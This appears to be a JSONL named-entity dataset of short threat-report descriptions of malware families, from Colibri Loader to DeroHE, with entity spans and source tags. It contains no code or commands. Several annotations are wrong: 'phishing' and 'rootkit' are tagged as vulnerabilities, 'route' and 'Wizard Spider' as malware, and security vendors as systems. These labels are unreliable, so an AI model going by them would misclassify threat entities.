+{"text": "According to cloudsek, Colibri Loader is a form of malware designed to facilitate the installation of additional malware types on an already compromised system. This loader employs various techniques to evade detection, such as excluding the Import Address Table (IAT) and utilizing encrypted strings to complicate analysis. Similar to other loader malware, Colibri can be utilized to deploy information-stealing malware, potentially leading to significant loss of sensitive data. As a result, users should exercise caution when encountering unfamiliar files on their systems.", "spans": {"MALWARE: Colibri Loader": [[23, 37]]}, "info": {"source": "apt_reports", "name": "Colibri Loader"}}
+{"text": "ComeBacker was found in a backdoored Visual Studio project that was used to target security researchers in Q4 2020 and early 2021.\r\n\r\nIt is an HTTP(S) downloader.\r\n\r\nIt uses the AES CBC cipher implemented through the OpenSSL's EVP interface for decryption of its configuration, and also for encryption and decryption of the client-server communication. \r\n\r\nThe parameter names in HTTP POST requests of the client are generated randomly. As the initial connection, the client exchanges the keys with the server via the Diffie–Hellman key agreement protocol for the elliptic curve secp521r1. The client generates a random 32-bytes long private key, and the server responds with its public key in a buffer starting with the wide character \"0\".\r\n\r\nNext, the clients sends the current local time, and the server responds with a buffer containing multiple values separated with the pipe symbol. The typical values are the encrypted payload, the export to execute, and the MD5 hash of the decrypted DLL to verify the authenticity of the payload. \r\n\r\nThere are variants of ComeBacker without statically linked OpenSSL. In that case, the key exchange is omitted and AES CBC is replaced with HC-256.", "spans": {"MALWARE: ComeBacker": [[0, 10], [1065, 1075]], "SYSTEM: OpenSSL": [[217, 224], [1102, 1109]]}, "info": {"source": "apt_reports", "name": "ComeBacker"}}
+{"text": "ComLook is a malicious plugin for the mail client \"The Bat!\", written in C++ and compiled with MSVC 10.0. It implements malicious commands like PutFile, GetFile, SetConfig, GetConfig, and Command. It contains hard-coded email addresses and other information, indicating a target in Azerbaijan. It was first uploaded to VirusTotal on January 12, 2022, and is associated with the APT group Turla. It appears to be a targeted deployment.", "spans": {"MALWARE: ComLook": [[0, 7]], "THREAT_ACTOR: Turla": [[388, 393]], "ORGANIZATION: VirusTotal": [[319, 329]]}, "info": {"source": "apt_reports", "name": "ComLook"}}
+{"text": "Conti is an extremely damaging ransomware due to the speed with which it encrypts data and spreads to other systems. It was first observed in 2020 and it is thought to be led by a Russia-based cybercrime group that goes under the Wizard Spider pseudonym. In early May 2022, the US government announced a reward of up to $10 million for information on the Conti ransomware gang.", "spans": {"MALWARE: Conti": [[0, 5], [355, 360]], "MALWARE: Wizard Spider": [[230, 243]]}, "info": {"source": "apt_reports", "name": "Conti"}}
+{"text": "FireEye described this malware as a proxy-aware backdoor that communicates using a custom-encrypted binary protocol. It may use the registry to store optional configuration data. The backdoor has been observed to support 26 commands that include directory traversal, file system manipulation, data archival and transmission, and command execution.", "spans": {"ORGANIZATION: FireEye": [[0, 7]], "VULNERABILITY: directory traversal": [[246, 265]]}, "info": {"source": "apt_reports", "name": "Contopee"}}
+{"text": "According to Trend Micro, CopperStealth’s infection chain involves dropping and loading a rootkit, which later injects its payload into explorer.exe and another system process. These payloads are responsible for downloading and running additional tasks. The rootkit also blocks access to blocklisted registry keys and prevents certain executables and drivers from running. The task module is able to download and run additional payloads.", "spans": {"MALWARE: CopperStealth": [[26, 39]], "SYSTEM: Trend Micro": [[13, 24]], "VULNERABILITY: rootkit": [[90, 97], [258, 265]]}, "info": {"source": "apt_reports", "name": "CopperStealth"}}
+{"text": "According to PCRIsk, CopperStealer, also known as Mingloa, is a malicious program designed to steal sensitive/personal information. It also has the capability to cause chain infections (i.e., download/install additional malware).\r\n\r\nSignificant activity of CopperStealer has been observed in Brazil, India, Indonesia, Pakistan, and the Philippines. At the time of research, this malware had been noted being spread via websites offering illegal activation tools (\"cracks\") for licensed software products.", "spans": {"MALWARE: CopperStealer": [[21, 34], [257, 270]], "MALWARE: Mingloa": [[50, 57]]}, "info": {"source": "apt_reports", "name": "CopperStealer"}}
+{"text": "According to Silent Push, this malware exists in multiple versions, including .NET, PowerShell, and JScript. They believe it is part of an IAB toolset or used by a affiliate with ties to LockBit, BlackBasta, and Qilin ransomware groups. CountLoader was also recently used in a PDF-based phishing lure targeting individuals in Ukraine, in a campaign that impersonated the Ukrainian police.", "spans": {"MALWARE: CountLoader": [[237, 248]], "TOOL: PowerShell": [[84, 94]], "SYSTEM: .NET": [[78, 82]], "VULNERABILITY: phishing": [[287, 295]], "MALWARE: Qilin": [[212, 217]]}, "info": {"source": "apt_reports", "name": "CountLoader"}}
+{"text": "Covicli is a modified SSLeay32 dynamic library designated as a backdoor.\r\nThe dynamic library allows the attacker to communicate with the C2 over openSSL.", "spans": {"MALWARE: Covicli": [[0, 7]]}, "info": {"source": "apt_reports", "name": "Covicli"}}
+{"text": "Destructive \"joke\" malware that ultimately deploys a wiper for the MBR.", "spans": {}, "info": {"source": "apt_reports", "name": "Covid22"}}
+{"text": "PCRisk notes that CoViper is yet another Coronavirus/COVID-19-themed malware infection, most likely proliferated as a file related to the pandemic. It operates by rewriting the system Master Boot Record (MBR). It does not delete the original, but rather creates a backup and replaces it with a custom MBR.\r\n\r\nTypically, malicious software that modifies MBRs do so to prevent the Operating System (OS) from being booted (i.e., started). It also displays a screen-encompassing message, often containing a ransom message - this disables user access to the device.", "spans": {"MALWARE: CoViper": [[18, 25]]}, "info": {"source": "apt_reports", "name": "CoViper"}}
+{"text": "CozyDuke is not simply a malware toolset; rather, it is a modular malware platform formed around\r\na core backdoor component. This component can be instructed by the C&C server to download\r\nand execute arbitrary modules, and it is these modules that provide CozyDuke with its vast array\r\nof functionality. Known CozyDuke modules include:\r\n• Command execution module for executing arbitrary Windows Command Prompt commands\r\n• Password stealer module\r\n• NT LAN Manager (NTLM) hash stealer module\r\n• System information gathering module\r\n• Screenshot module", "spans": {"MALWARE: CozyDuke": [[0, 8], [257, 265], [311, 319]], "SYSTEM: NTLM": [[467, 471]], "SYSTEM: Windows": [[389, 396]]}, "info": {"source": "apt_reports", "name": "COZYDUKE"}}
+{"text": "According to ANY.RUN, this is a dropper for win.privateloader and its execution will lead to a cascade of downloads with a large variety of additional malware.\r\nThe families include more loaders, information stealers, cryptominers, a proxy bot, and ultimately also ransomware. \r\nThe execution order is orchestrated, e.g. as in data is stolen and exfiltrated before encryption.\r\nIt is distributed through advertized cracked software, e.g. IDA Pro.", "spans": {"ORGANIZATION: ANY.RUN": [[13, 20]]}, "info": {"source": "apt_reports", "name": "CrackedCantil"}}
+{"text": "CRACKSHOT is a downloader that can download files, including binaries, and run them from the hard disk or execute them directly in memory. It is also capable of placing itself into a dormant state.", "spans": {"MALWARE: CRACKSHOT": [[0, 9]]}, "info": {"source": "apt_reports", "name": "crackshot"}}
+{"text": "According to Cisco Talos, CRAT is a remote access trojan with plugin capabilites, used by Lazarus since at least May 2020.", "spans": {"MALWARE: CRAT": [[26, 30]], "SYSTEM: Cisco": [[13, 18]], "ORGANIZATION: Talos": [[19, 24]], "ORGANIZATION: Cisco Talos": [[13, 24]]}, "info": {"source": "apt_reports", "name": "CRAT"}}
+{"text": "A tool that implements the creation of a hidden account on Windows through cloning accounts via the Registry.", "spans": {"SYSTEM: Windows": [[59, 66]]}, "info": {"source": "apt_reports", "name": "CreateHiddenAccount"}}
+{"text": "It was first discovered in 2017 and has since been used to attack organizations around the world. The malware is often distributed through phishing emails or by exploiting vulnerabilities in outdated security software. Once Crimson RAT is installed on a computer, it can be used to steal data, spy on users, and even take control of the infected computers.\r\n\r\nSome of the features of Crimson RAT include:\r\n\r\nRemote control of infected computers\r\nData theft, such as passwords, files, and emails\r\nUser spying\r\nTakeover of infected computers\r\nLocking of infected computers\r\nExtortion of payments", "spans": {"MALWARE: Crimson RAT": [[224, 235], [384, 395]], "VULNERABILITY: phishing": [[139, 147]], "MALWARE: Crimson": [[224, 231], [384, 391]]}, "info": {"source": "apt_reports", "name": "Crimson RAT"}}
+{"text": "According to ThreatConnect, CrimsonIAS is a Delphi-written backdoor dating back to at least 2017. It enables operators to run command line tools, exfiltrate files, and upload files to the infected machine. CrimsonIAS is notable as it listens for incoming connections only; making it different from typical Windows backdoors that beacons out.", "spans": {"MALWARE: CrimsonIAS": [[28, 38], [206, 216]], "SYSTEM: Windows": [[306, 313]], "ORGANIZATION: ThreatConnect": [[13, 26]]}, "info": {"source": "apt_reports", "name": "CrimsonIAS"}}
+{"text": "Ransomware.", "spans": {}, "info": {"source": "apt_reports", "name": "Cring"}}
+{"text": "According to FireEye, CROSSWALK is a skeletal, modular backdoor capable of system survey and adding modules in response to C&C replies.", "spans": {"MALWARE: CROSSWALK": [[22, 31]], "ORGANIZATION: FireEye": [[13, 20]]}, "info": {"source": "apt_reports", "name": "CROSSWALK"}}
+{"text": "According to Trend Micro, this is a custom loader for win.cobalt_strike, used by Earth Longzhi (a subgroup of APT41).", "spans": {"THREAT_ACTOR: APT41": [[110, 115]], "THREAT_ACTOR: Earth Longzhi": [[81, 94]], "SYSTEM: Trend Micro": [[13, 24]]}, "info": {"source": "apt_reports", "name": "Croxloader"}}
+{"text": "A typical infostealer, capable of obtaining credentials for browsers, crypto currency wallets, browser cookies, credit cards, and creates screenshots of the infected system. All stolen data is bundled into a zip-file that is uploaded to the c2.", "spans": {}, "info": {"source": "apt_reports", "name": "CryptBot"}}
+{"text": "CrypticConvo is a dropper trojan which appears to be embedded in an automatic generator framework to deliver the FakeM trojan. According to PaloaltoNetworks CrypticConvo and several additional trojans are believed to be included in a meta framework  used by the \"Scarlet Mimic\" threat actor in order to quickly evade AV systems.", "spans": {"MALWARE: CrypticConvo": [[0, 12], [157, 169]], "THREAT_ACTOR: Scarlet Mimic": [[263, 276]], "MALWARE: FakeM": [[113, 118]]}, "info": {"source": "apt_reports", "name": "CrypticConvo"}}
+{"text": "According to OALabs, this ransomware has the following features: \r\n* Files are encrypted with AES CBC using a generated 256 bit key and IV.\r\n* The generated AES keys are encrypted using a hard coded RSA key and appended to the encrypted files.", "spans": {"ORGANIZATION: RSA": [[199, 202]]}, "info": {"source": "apt_reports", "name": "CryptNET"}}
+{"text": "CryptoJoker is an open source ransomware written in C#.\r\nCryptoJoker uses a combination of a \"custom XOR\" encryption and RSA. A private public/private pair key is generated for every computer.", "spans": {"MALWARE: CryptoJoker": [[0, 11], [57, 68]], "ORGANIZATION: RSA": [[121, 124]]}, "info": {"source": "apt_reports", "name": "CryptoJoker"}}
+{"text": "CryptoLocker is a new sophisticated malware that was launched in the late 2013. It is designed to attack Windows operating system by encrypting all the files from the system using a RSA-2048 public key. To decrypt the mentioned files, the user has to pay a ransom (usually 300 USD/EUR) or 2 BitCoins.", "spans": {"MALWARE: CryptoLocker": [[0, 12]], "SYSTEM: Windows": [[105, 112]], "ORGANIZATION: RSA": [[182, 185]]}, "info": {"source": "apt_reports", "name": "CryptoLocker"}}
+{"text": "A variant of CryptoMix is win.clop.", "spans": {"MALWARE: CryptoMix": [[13, 22]]}, "info": {"source": "apt_reports", "name": "CryptoMix"}}
+{"text": "CryptoPatronum is a ransomware that encrypts user data through AES-256 (CBC) and it asks for BTC / ETH  in order to get back the original files. In the ransom note there is not a title but only a reference to crsss.exe: its original file name. Once the files are encrypted, CryptoPatronum adds a .enc extension.", "spans": {"MALWARE: CryptoPatronum": [[0, 14], [274, 288]]}, "info": {"source": "apt_reports", "name": "CryptoPatronum"}}
+{"text": "CryptoWall is a ransomware, is  usually spread by spam and phishing emails, malicious ads, hacked websites, or other malware and uses a Trojan horse to deliver the malicious payload.", "spans": {"MALWARE: CryptoWall": [[0, 10]], "VULNERABILITY: phishing": [[59, 67]]}, "info": {"source": "apt_reports", "name": "Cryptowall"}}
+{"text": "Ransomware.", "spans": {}, "info": {"source": "apt_reports", "name": "Crytox"}}
+{"text": "Ransomware.", "spans": {}, "info": {"source": "apt_reports", "name": "Cuba"}}
+{"text": "Potential Lazarus sample.", "spans": {}, "info": {"source": "apt_reports", "name": "Cur1Downloader"}}
+{"text": "Profero describes this as a ransomware family using CryptoPP as library to enable file encryption with the Salsa20 algorithm and protecting the encryption keys with RSA2048.", "spans": {}, "info": {"source": "apt_reports", "name": "Curator"}}
+{"text": "Ransomware.", "spans": {}, "info": {"source": "apt_reports", "name": "Cursed Murderer"}}
+{"text": "CustomerLoader is a  .Net-based loader that drops more than 40 different malware families. It appeared in June 2023 and is being distributed via phishing, YouTube videos and malicious websites.", "spans": {"MALWARE: CustomerLoader": [[0, 14]], "VULNERABILITY: phishing": [[145, 153]]}, "info": {"source": "apt_reports", "name": "CustomerLoader"}}
+{"text": "According to Subex Secure, CyberGate is a Remote Access Trojan (RAT) that allows an attacker to gain unauthorized access to\r\nthe victim’s system. Attackers can remotely connect to the compromised system from anywhere\r\naround the world. The Malware author generally uses this program to steal private information\r\nlike passwords, files, etc. It might also be used to install malicious software on the compromised\r\nsystems.", "spans": {"MALWARE: CyberGate": [[27, 36]]}, "info": {"source": "apt_reports", "name": "CyberGate"}}
+{"text": "According to HarfangLabs, Cyclops is a malware platform written in Go which dates back to December 2023, and that they believe has been deployed against targets in the Middle-East in 2024. Cyclops allows operators to execute arbitrary commands on the target’s file system, as well as pivot inside the infected network. Notably, Cyclops is controlled through a HTTP REST API which is exposed to operators within an SSH tunnel.", "spans": {"MALWARE: Cyclops": [[26, 33], [189, 196], [328, 335]], "TOOL: SSH": [[414, 417]], "SYSTEM: Go": [[67, 69]]}, "info": {"source": "apt_reports", "name": "Cyclops"}}
+{"text": "According to gdatasoftware, Cyrat ransomware uses Fernet to encrypt files. This is a symmetric encryption method meant for small data files that fit into RAM. While Fernet is not unusual itself, it is not common for ransomware and in this case even problematic.", "spans": {"MALWARE: Cyrat": [[28, 33]]}, "info": {"source": "apt_reports", "name": "Cyrat"}}
+{"text": "According to PCrisk, Dacls is the name of a remote access Trojan (RAT), a malicious program that allows cyber criminals to control infected computers remotely.\r\n\r\nResearch shows that this malware is tied to Lazarus Group (a group of cyber criminals) and targets Linux and the Windows Operating System. Typically, cyber criminals use RATs to steal sensitive, confidential information, infect systems with other malware, and so on. In any case, no RAT is harmless and should be uninstalled immediately.", "spans": {"MALWARE: Dacls": [[21, 26]], "THREAT_ACTOR: Lazarus Group": [[207, 220]], "SYSTEM: Windows": [[276, 283]], "SYSTEM: Linux": [[262, 267]], "ORGANIZATION: PCrisk": [[13, 19]]}, "info": {"source": "apt_reports", "name": "Dacls"}}
+{"text": "DADJOKE was discovered as being distributed via email, targeting a South-East Asian Ministry of Defense. It is delivered as an embedded EXE file in a Word document using remote templates and a unique macro using multiple GET requests. The payload is deployed using load-order hijacking with a benign Windows Defender executable. Stage 1 has only beacon+download functionality, made to look like a PNG file. Additional analysis by Kaspersky found 8 campaigns over 2019 and no activity prior to January 2019, DADJOKE is attributed with medium confidence to APT40.", "spans": {"MALWARE: DADJOKE": [[0, 7], [507, 514]], "THREAT_ACTOR: APT40": [[555, 560]], "SYSTEM: Kaspersky": [[430, 439]], "SYSTEM: Windows Defender": [[300, 316]], "SYSTEM: Windows": [[300, 307]]}, "info": {"source": "apt_reports", "name": "DADJOKE"}}
+{"text": "Proofpoints describes DanaBot as the latest example of malware focused on persistence and stealing useful information that can later be monetized rather than demanding an immediate ransom from victims. The social engineering in the low-volume DanaBot campaigns we have observed so far has been well-crafted, again pointing to a renewed focus on “quality over quantity” in email-based threats. DanaBot’s modular nature enables it to download additional components, increasing the flexibility and robust stealing and remote monitoring capabilities of this banker.", "spans": {"MALWARE: DanaBot": [[22, 29], [243, 250], [393, 400]]}, "info": {"source": "apt_reports", "name": "DanaBot"}}
+{"text": "Danbot is a backdoor malware that is originally written in C#. Recent versions of Danbot are written in C++. Danbot is capable of giving a remote attacker remote access features such as running a cmd command, upload and download files, move and copy files. The backdoor commands are transmitted by either using HTTP or DNS protocols. The commands are encapsulated in an XML file that gets stored in disk. Danbot's backdoor component picks up the XML file where it decodes and decrypts the commands.", "spans": {"MALWARE: Danbot": [[0, 6], [82, 88], [109, 115], [405, 411]], "TOOL: cmd": [[196, 199]]}, "info": {"source": "apt_reports", "name": "danbot"}}
+{"text": "According to Kaspersky Labs, Dante is the commercial spyware developed by Memento Labs (formerly Hacking Team).", "spans": {"MALWARE: Dante": [[29, 34]], "THREAT_ACTOR: Hacking Team": [[97, 109]], "SYSTEM: Kaspersky": [[13, 22]]}, "info": {"source": "apt_reports", "name": "Dante"}}
+{"text": "Stealer is written in Visual Basic.", "spans": {}, "info": {"source": "apt_reports", "name": "DarkCloud Stealer"}}
+{"text": "DarkComet is one of the most famous RATs, developed by Jean-Pierre Lesueur in 2008. After being used in the Syrian civil war in 2011, Lesuer decided to stop developing the trojan. Indeed, DarkComet is able to enable control over a compromised system through use of a simple graphic user interface. Experts think that this user friendliness is the key of its mass success.", "spans": {"TOOL: DarkComet": [[0, 9], [188, 197]]}, "info": {"source": "apt_reports", "name": "DarkComet"}}
+{"text": "Mandiant associates this with UNC4191, this malware spreads to removable drives.", "spans": {"THREAT_ACTOR: UNC4191": [[30, 37]], "ORGANIZATION: Mandiant": [[0, 8]]}, "info": {"source": "apt_reports", "name": "DARKDEW"}}
+{"text": "First documented in 2018, DarkGate is a commodity loader with features that include the ability to download and execute files to memory, a Hidden Virtual Network Computing (HVNC) module, keylogging, information-stealing capabilities, and privilege escalation. DarkGate makes use of legitimate AutoIt files and typically runs multiple AutoIt scripts. New versions of DarkGate have been advertised on a Russian language eCrime forum since May 2023.", "spans": {"MALWARE: DarkGate": [[26, 34], [260, 268], [366, 374]], "VULNERABILITY: privilege escalation": [[238, 258]], "VULNERABILITY: keylogging": [[187, 197]]}, "info": {"source": "apt_reports", "name": "DarkGate"}}
+{"text": "DarkShell is a DDoS bot seemingly of Chinese origin, discovered in 2011. During 2011, DarkShell was reported to target the industrial food processing industry.", "spans": {"MALWARE: DarkShell": [[0, 9], [86, 95]], "VULNERABILITY: DDoS": [[15, 19]]}, "info": {"source": "apt_reports", "name": "DarkShell"}}
+{"text": "FireEye describes DARKSIDE as a ransomware written in C and configurable to target files whether on fixed, removable disks, or network shares. The malware can be customized by the affiliates to create a build for specific victims.", "spans": {"MALWARE: DARKSIDE": [[18, 26]], "ORGANIZATION: FireEye": [[0, 7]]}, "info": {"source": "apt_reports", "name": "DarkSide"}}
+{"text": "DarkSky is a botnet that is capable of downloading malware, conducting a number of network and application-layer distributed denial-of-service (DDoS) attacks, and detecting and evading security controls, such as sandboxes and virtual machines. It is advertised for sale on the dark web for $20. Much of the malware that DarkSky has available to download onto targeted systems is associated with cryptocurrency-mining activity. The DDoS attacks that DarkSky can perform include DNS amplification attacks, TCP (SYN) flood, UDP flood, and HTTP flood. The botnet can also perform a check to determine whether or not the DDoS attack succeeded and turn infected systems into a SOCKS/HTTP proxy to route traffic to a remote server.", "spans": {"MALWARE: DarkSky": [[0, 7], [320, 327], [449, 456]], "VULNERABILITY: DDoS": [[144, 148], [431, 435], [616, 620]], "MALWARE: route": [[691, 696]]}, "info": {"source": "apt_reports", "name": "Darksky"}}
+{"text": "Dark Tequila is a complex malicious campaign targeting Mexican users, with the primary purpose of stealing financial information, as well as login credentials to popular websites that range from code versioning repositories to public file storage accounts and domain registrars.", "spans": {"MALWARE: Dark": [[0, 4]]}, "info": {"source": "apt_reports", "name": "DarkTequila"}}
+{"text": "DarkTortilla is a complex and highly configurable .NET-based crypter that has possibly been active since at least August 2015. It typically delivers popular information stealers and remote access trojans (RATs) such as AgentTesla, AsyncRat, NanoCore, and RedLine. While it appears to primarily deliver commodity malware, Secureworks® Counter Threat Unit™ (CTU) researchers identified DarkTortilla samples delivering targeted payloads such as Cobalt Strike and Metasploit. It can also deliver \"addon packages\" such as additional malicious payloads, benign decoy documents, and executables. It features robust anti-analysis and anti-tamper controls that can make detection, analysis, and eradication challenging.\r\n\r\nFrom January 2021 through May 2022, an average of 93 unique DarkTortilla samples per week were uploaded to the VirusTotal analysis service. Code similarities suggest possible links between DarkTortilla and other malware: a crypter operated by the RATs Crew threat group, which was active between 2008 and 2012, and the Gameloader malware that emerged in 2021.", "spans": {"MALWARE: DarkTortilla": [[0, 12], [384, 396], [774, 786], [903, 915]], "THREAT_ACTOR: Cobalt": [[442, 448]], "TOOL: Cobalt Strike": [[442, 455]], "TOOL: Metasploit": [[460, 470]], "SYSTEM: .NET": [[50, 54]], "ORGANIZATION: Secureworks": [[321, 332]], "ORGANIZATION: VirusTotal": [[825, 835]], "MALWARE: NanoCore": [[241, 249]], "MALWARE: AgentTesla": [[219, 229]]}, "info": {"source": "apt_reports", "name": "DarkTortilla"}}
+{"text": "According to PCrisk, DarkTrack is a malicious program classified as a Remote Access Trojan (RAT). This type of malware enables remote access and control over an infected device. The level of control these programs have varies, however, some can allow user-level manipulation of the affected machine.\r\n\r\nThe functionalities of RATs likewise varies and so does the scope of potential misuse. DarkTrack has a broad range of functions/capabilities, which make this Trojan a highly-dangerous piece of software.", "spans": {"ORGANIZATION: PCrisk": [[13, 19]]}, "info": {"source": "apt_reports", "name": "Darktrack RAT"}}
+{"text": "DarkVision_RAT is a highly customizable Remote Access Trojan (RAT) first identified in 2020. Written in C/C++ and assembler, it has gained popularity due to its low cost and broad range of functionalities, including keylogging, screenshot capture, file manipulation, process injection, remote code execution, and password theft. In July 2024, a malware campaign was observed distributing DarkVision_RAT using PureCrypter as a loader. This RAT communicates with its command and control server through a custom network protocol via sockets. It also employs evasion and privilege escalation techniques such as DLL hijacking, self-elevation, and process injection. DarkVision_RAT supports a wide array of commands and plugins, enabling additional capabilities like keylogging, remote access, password theft, audio recording, and screenshot capture.", "spans": {"VULNERABILITY: privilege escalation": [[567, 587]], "VULNERABILITY: code execution": [[293, 307]], "VULNERABILITY: remote code execution": [[286, 307]], "VULNERABILITY: process injection": [[267, 284], [642, 659]], "VULNERABILITY: DLL hijacking": [[607, 620]], "VULNERABILITY: keylogging": [[216, 226], [761, 771]], "MALWARE: PureCrypter": [[409, 420]]}, "info": {"source": "apt_reports", "name": "DarkVision RAT"}}
+{"text": "According to Enigmasoft, DarkVNC malware is a hacking tool that is available for purchase online. it is can be used as a Virtual Network Computing service, which means that the attackers can get full access to the targeted system via this malware. However, unlike a genuine Virtual Network Computing utility, the DarkVNC threat operates in the background silently. Therefore, it is highly likely that the victims may not notice that their systems have been compromised.", "spans": {"MALWARE: DarkVNC": [[25, 32], [313, 320]]}, "info": {"source": "apt_reports", "name": "DarkVNC"}}
+{"text": "Symantec describes this as a malware written as Windows kernel driver, used by China-linked threat actors. The malware has a custom TCP/IP stack and is capable of hijacking connections.", "spans": {"SYSTEM: Symantec": [[0, 8]], "SYSTEM: Windows": [[48, 55]]}, "info": {"source": "apt_reports", "name": "Daxin"}}
+{"text": "This Delphi loader misuses Cloud storage services, such as Google Drive to download the Delphi stager component. The Delphi stager has the actual payload embedded as a resource and starts it.", "spans": {"ORGANIZATION: Google": [[59, 65]]}, "info": {"source": "apt_reports", "name": "DBatLoader"}}
+{"text": "This malware uses DropBox as C&C channel.", "spans": {}, "info": {"source": "apt_reports", "name": "DBoxAgent"}}
+{"text": "Ransomware written in .NET.", "spans": {"SYSTEM: .NET": [[22, 26]]}, "info": {"source": "apt_reports", "name": "DcDcrypt"}}
+{"text": "DCRat is a typical RAT that has been around since at least June 2019.", "spans": {"MALWARE: DCRat": [[0, 5]]}, "info": {"source": "apt_reports", "name": "DCRat"}}
+{"text": "A ransomware as used by MosesStaff, built around the DiskCryptor tool.", "spans": {"THREAT_ACTOR: MosesStaff": [[24, 34]], "MALWARE: DiskCryptor": [[53, 64]]}, "info": {"source": "apt_reports", "name": "DCSrv"}}
+{"text": "According to PCrisk, DearCry ransomware has been observed infecting systems via ProxyLogon vulnerabilities of Microsoft Exchange servers - mail and calendaring servers developed by Microsoft. While a patch has been released addressing these vulnerabilities, thousands of Microsoft Exchange servers remained unpatched at the time of research.", "spans": {"MALWARE: DearCry": [[21, 28]], "SYSTEM: Microsoft Exchange": [[110, 128], [271, 289]], "ORGANIZATION: Microsoft": [[110, 119], [181, 190], [271, 280]], "ORGANIZATION: PCrisk": [[13, 19]], "VULNERABILITY: ProxyLogon": [[80, 90]]}, "info": {"source": "apt_reports", "name": "dearcry"}}
+{"text": "Also known as Wacatac ransomware due to its .wctc extension.", "spans": {"MALWARE: Wacatac": [[14, 21]]}, "info": {"source": "apt_reports", "name": "DeathRansom"}}
+{"text": "Ransomware written in Go.", "spans": {"SYSTEM: Go": [[22, 24]]}, "info": {"source": "apt_reports", "name": "DECAF"}}
+{"text": "According to Volexity, DEEPDATA is a modular post-exploitation tool for Windows that facilitates collection of sensitive information from a compromised system. This tool must be run from the command line of a system by an attacker.", "spans": {"MALWARE: DEEPDATA": [[23, 31]], "SYSTEM: Windows": [[72, 79]], "ORGANIZATION: Volexity": [[13, 21]]}, "info": {"source": "apt_reports", "name": "DEEPDATA"}}
+{"text": "According to Volexity, DEEPPOST is a post-exploitation data exfiltration tool used to send files to a remote system.", "spans": {"MALWARE: DEEPPOST": [[23, 31]], "ORGANIZATION: Volexity": [[13, 21]]}, "info": {"source": "apt_reports", "name": "DEEPPOST"}}
+{"text": "According to Broadcom, DeerStealer is an information stealer written in Delphi and targeting devices running an windows operating system. The malware has hidden VNC capabilities for stealthy remote desktop control, collecting crypto wallets from USB sticks and over 800 browser extensions. It exfiltrates the stolen data in form of a ZIP archive to a botnet C2 server.", "spans": {"MALWARE: DeerStealer": [[23, 34]], "TOOL: VNC": [[161, 164]], "ORGANIZATION: Broadcom": [[13, 21]]}, "info": {"source": "apt_reports", "name": "DeerStealer"}}
+{"text": "Defray is ransomware that appeared in 2017, and is targeted ransomware, mainly on the healthcare vertical.\r\n\r\nThe distribution of Defray has several notable characteristics:\r\nAccording to Proofpoint:\r\n\"\r\nDefray is currently being spread via Microsoft Word document attachments in email\r\nThe campaigns are as small as several messages each\r\nThe lures are custom crafted to appeal to the intended set of potential victims\r\nThe recipients are individuals or distribution lists, e.g., group@ and websupport@\r\nGeographic targeting is in the UK and US\r\nVertical targeting varies by campaign and is narrow and selective\r\n\"", "spans": {"MALWARE: Defray": [[0, 6], [130, 136], [204, 210]], "SYSTEM: Microsoft Word": [[241, 255]], "ORGANIZATION: Proofpoint": [[188, 198]], "ORGANIZATION: Microsoft": [[241, 250]]}, "info": {"source": "apt_reports", "name": "Defray"}}
+{"text": "Described by Elastic as being associated with win.jupyter, and being used in the context of initial access, persistence, and C&C capabilities.", "spans": {"ORGANIZATION: Elastic": [[13, 20]]}, "info": {"source": "apt_reports", "name": "Deimos"}}
+{"text": "Trend Micro describes DeimosC2 as an open-source C&C framework that was released in June 2020. It is a fully-functional framework that allows for multiple attackers to access, create payloads for, and interact with victim computers. As a post-exploitation C&C framework, DeimosC2 will generate the payloads that need to be manually executed on computer servers that have been compromised through other means such as social engineering, exploitation, or brute-force attacks. Once it is deployed, the threat actors will gain the same access to the systems as the user account that the payload was executed as, either as an administrator or a regular user. Note that DeimosC2 does not perform active or privilege escalation of any kind.", "spans": {"MALWARE: DeimosC2": [[22, 30], [271, 279], [664, 672]], "SYSTEM: Trend Micro": [[0, 11]], "VULNERABILITY: privilege escalation": [[700, 720]], "VULNERABILITY: brute-force": [[453, 464]]}, "info": {"source": "apt_reports", "name": "DeimosC2"}}
+{"text": "According to CERT-UA, this malware makes use of XSLT (Extensible Stylesheet Language Transformations) and COM-hijacking. Its specificity is the presence of a server part, which is usually installed on compromised MS Exchange servers in the form of a MOF (Managed Object Format) file using the Desired State Configuration (DCS) PowerShell tool), effectively turning a legitimate server into a malware control center.", "spans": {"TOOL: PowerShell": [[327, 337]], "ORGANIZATION: CERT-UA": [[13, 20]], "VULNERABILITY: COM-hijacking": [[106, 119]]}, "info": {"source": "apt_reports", "name": "DeliveryCheck"}}
+{"text": "Rust-based infostealer.", "spans": {"SYSTEM: Rust": [[0, 4]]}, "info": {"source": "apt_reports", "name": "DeltaStealer"}}
+{"text": "Dented is a banking bot written in C. It supports IE, Firefox, Chrome, Opera and Edge and comes with a simple POS grabber. Due to its modularity, reverse socks 5, tor and vnc can be added.", "spans": {"MALWARE: Dented": [[0, 6]], "SYSTEM: Edge": [[81, 85]], "SYSTEM: Chrome": [[63, 69]], "SYSTEM: Firefox": [[54, 61]], "SYSTEM: IE": [[50, 52]], "SYSTEM: Opera": [[71, 76]]}, "info": {"source": "apt_reports", "name": "Dented"}}
+{"text": "According to ESET Research, DePriMon is a malicious downloader, with several stages and using many non-traditional techniques. To achieve persistence, the malware registers a new local port monitor – a trick falling under the “Port Monitors” technique in the MITRE ATT&CK knowledgebase. For that, the malware uses the “Windows Default Print Monitor” name; that’s why we have named it DePriMon. Due to its complexity and modular architecture, researcher believe it to be a framework.\r\n\r\nDePriMon has been active since at least March 2017. DePriMon was detected in a private company, based in Central Europe, and at dozens of computers in the Middle East.", "spans": {"THREAT_ACTOR: DePriMon": [[28, 36], [384, 392], [486, 494], [538, 546]], "SYSTEM: Windows": [[319, 326]], "SYSTEM: ESET": [[13, 17]], "ORGANIZATION: MITRE": [[259, 264]]}, "info": {"source": "apt_reports", "name": "Deprimon"}}
+{"text": "According to IBM X-Force, this is a loader component for Sheriff.", "spans": {"ORGANIZATION: IBM X-Force": [[13, 24]], "ORGANIZATION: X-Force": [[17, 24]], "ORGANIZATION: IBM": [[13, 16]], "MALWARE: Sheriff": [[57, 64]]}, "info": {"source": "apt_reports", "name": "Deputy"}}
+{"text": "DeroHE is a ransomware that was spread to users after IObit, a Windows utility developer, was hacked. The malware is delivered a DLL that is sideloaded by a legitimate, signed IObit License Manager application.", "spans": {"MALWARE: DeroHE": [[0, 6]], "SYSTEM: Windows": [[63, 70]]}, "info": {"source": "apt_reports", "name": "DeroHE"}}
